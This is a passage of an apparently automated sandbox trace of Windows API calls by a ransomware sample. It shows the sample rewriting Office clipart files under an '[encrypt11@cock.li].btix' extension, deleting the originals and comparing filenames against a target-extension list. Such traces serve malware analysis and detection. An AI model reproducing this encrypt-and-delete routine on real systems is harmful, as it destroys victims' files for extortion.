lpOverlapped=0x0) returned 1 [0064.710] SetEndOfFile (hFile=0x2e0) returned 1 [0064.710] CloseHandle (hObject=0x2e0) returned 1 [0064.711] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0064.711] SetEndOfFile (hFile=0x308) returned 1 [0064.712] CloseHandle (hObject=0x308) returned 1 [0064.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0064.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0064.713] lstrlenW (lpString=".doc") returned 4 [0064.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString=".docx") returned 5 [0064.713] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0064.713] lstrlenW (lpString=".pdf") returned 4 [0064.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString=".xls") returned 4 [0064.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.713] lstrlenW (lpString=".xlsx") returned 5 [0064.713] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0064.713] lstrlenW (lpString=".ppt") returned 4 [0064.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0064.713] lstrlenW (lpString=".zip") returned 4 [0064.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.714] lstrlenW (lpString=".rar") returned 4 [0064.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.714] lstrlenW (lpString=".bz2") returned 4 [0064.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.714] lstrlenW (lpString=".7z") returned 3 [0064.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0064.714] lstrlenW (lpString=".dbf") returned 4 [0064.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0064.714] lstrlenW (lpString=".1cd") returned 4 [0064.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0064.714] lstrlenW (lpString=".jpg") returned 4 [0064.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.714] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0064.714] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0064.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0064.715] GetLastError () returned 0x0 [0064.715] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x8d6, lpOverlapped=0x0) returned 1 [0065.798] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x8e0, lpOverlapped=0x0) returned 1 [0066.165] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0066.165] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0066.165] SetEndOfFile (hFile=0x2e0) returned 1 [0066.165] CloseHandle (hObject=0x2e0) returned 1 [0066.165] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0066.165] SetEndOfFile (hFile=0x308) returned 1 [0066.166] CloseHandle (hObject=0x308) returned 1 [0066.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0066.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0066.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0066.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0066.166] lstrlenW (lpString=".doc") returned 4 [0066.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.166] lstrlenW (lpString=".docx") returned 5 [0066.166] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0066.166] lstrlenW (lpString=".pdf") returned 4 [0066.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.166] lstrlenW (lpString=".xls") returned 4 [0066.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.167] lstrlenW (lpString=".xlsx") returned 5 [0066.167] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0066.167] lstrlenW (lpString=".ppt") returned 4 [0066.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0066.167] lstrlenW (lpString=".zip") returned 4 [0066.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.167] lstrlenW (lpString=".rar") returned 4 [0066.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.167] lstrlenW (lpString=".bz2") returned 4 [0066.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.167] lstrlenW (lpString=".7z") returned 3 [0066.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0066.167] lstrlenW (lpString=".dbf") returned 4 [0066.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0066.167] lstrlenW (lpString=".1cd") returned 4 [0066.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0066.167] lstrlenW (lpString=".jpg") returned 4 [0066.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.167] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0066.167] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0066.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0066.168] GetLastError () returned 0x0 [0066.168] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xc18a, lpOverlapped=0x0) returned 1 [0066.957] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xc190, lpOverlapped=0x0) returned 1 [0067.443] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0067.443] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0067.443] SetEndOfFile (hFile=0x2e0) returned 1 [0067.443] CloseHandle (hObject=0x2e0) returned 1 [0067.443] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0067.443] SetEndOfFile (hFile=0x308) returned 1 [0067.444] CloseHandle (hObject=0x308) returned 1 [0067.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0067.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0067.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0067.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0067.445] lstrlenW (lpString=".doc") returned 4 [0067.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.445] lstrlenW (lpString=".docx") returned 5 [0067.445] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0067.445] lstrlenW (lpString=".pdf") returned 4 [0067.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.445] lstrlenW (lpString=".xls") returned 4 [0067.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.445] lstrlenW (lpString=".xlsx") returned 5 [0067.445] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0067.445] lstrlenW (lpString=".ppt") returned 4 [0067.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0067.445] lstrlenW (lpString=".zip") returned 4 [0067.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.446] lstrlenW (lpString=".rar") returned 4 [0067.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.446] lstrlenW (lpString=".bz2") returned 4 [0067.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.446] lstrlenW (lpString=".7z") returned 3 [0067.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0067.446] lstrlenW (lpString=".dbf") returned 4 [0067.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0067.446] lstrlenW (lpString=".1cd") returned 4 [0067.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0067.446] lstrlenW (lpString=".jpg") returned 4 [0067.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.360] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0068.360] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0068.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0068.740] GetLastError () returned 0x0 [0068.740] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2040, lpOverlapped=0x0) returned 1 [0068.794] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2050, lpOverlapped=0x0) returned 1 [0068.795] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0068.795] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0068.795] SetEndOfFile (hFile=0x2e0) returned 1 [0068.795] CloseHandle (hObject=0x2e0) returned 1 [0068.796] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0068.796] SetEndOfFile (hFile=0x328) returned 1 [0068.796] CloseHandle (hObject=0x328) returned 1 [0068.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0068.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.797] lstrlenW (lpString=".doc") returned 4 [0068.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.797] lstrlenW (lpString=".docx") returned 5 [0068.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.797] lstrlenW (lpString=".pdf") returned 4 [0068.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.797] lstrlenW (lpString=".xls") returned 4 [0068.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.797] lstrlenW (lpString=".xlsx") returned 5 [0068.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.797] lstrlenW (lpString=".ppt") returned 4 [0068.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.797] lstrlenW (lpString=".zip") returned 4 [0068.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.797] lstrlenW (lpString=".rar") returned 4 [0068.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.798] lstrlenW (lpString=".bz2") returned 4 [0068.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.798] lstrlenW (lpString=".7z") returned 3 [0068.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.798] lstrlenW (lpString=".dbf") returned 4 [0068.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.798] lstrlenW (lpString=".1cd") returned 4 [0068.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.798] lstrlenW (lpString=".jpg") returned 4 [0068.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.798] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0068.798] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0068.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0068.798] GetLastError () returned 0x0 [0068.799] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x9456, lpOverlapped=0x0) returned 1 [0069.051] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x9460, lpOverlapped=0x0) returned 1 [0069.052] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0069.052] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0069.052] SetEndOfFile (hFile=0x2e0) returned 1 [0069.052] CloseHandle (hObject=0x2e0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.053] SetEndOfFile (hFile=0x328) returned 1 [0069.053] CloseHandle (hObject=0x328) returned 1 [0069.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0069.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.054] lstrlenW (lpString=".doc") returned 4 [0069.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.054] lstrlenW (lpString=".docx") returned 5 [0069.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.054] lstrlenW (lpString=".pdf") returned 4 [0069.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.054] lstrlenW (lpString=".xls") returned 4 [0069.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.054] lstrlenW (lpString=".xlsx") returned 5 [0069.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.054] lstrlenW (lpString=".ppt") returned 4 [0069.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.054] lstrlenW (lpString=".zip") returned 4 [0069.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.055] lstrlenW (lpString=".rar") returned 4 [0069.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.055] lstrlenW (lpString=".bz2") returned 4 [0069.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.055] lstrlenW (lpString=".7z") returned 3 [0069.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.055] lstrlenW (lpString=".dbf") returned 4 [0069.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.055] lstrlenW (lpString=".1cd") returned 4 [0069.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.055] lstrlenW (lpString=".jpg") returned 4 [0069.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.055] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0069.056] GetLastError () returned 0x0 [0069.056] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xa79c, lpOverlapped=0x0) returned 1 [0069.565] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0069.566] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0069.566] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0069.566] SetEndOfFile (hFile=0x2e0) returned 1 [0069.567] CloseHandle (hObject=0x2e0) returned 1 [0069.567] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.567] SetEndOfFile (hFile=0x328) returned 1 [0069.569] CloseHandle (hObject=0x328) returned 1 [0069.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0069.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0069.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0069.717] lstrlenW (lpString=".doc") returned 4 [0069.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.717] lstrlenW (lpString=".docx") returned 5 [0069.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.717] lstrlenW (lpString=".pdf") returned 4 [0069.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.717] lstrlenW (lpString=".xls") returned 4 [0069.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.717] lstrlenW (lpString=".xlsx") returned 5 [0069.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.717] lstrlenW (lpString=".ppt") returned 4 [0069.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0069.718] lstrlenW (lpString=".zip") returned 4 [0069.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.718] lstrlenW (lpString=".rar") returned 4 [0069.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.718] lstrlenW (lpString=".bz2") returned 4 [0069.718] lstrcmpiW (lpString1=".bz2", 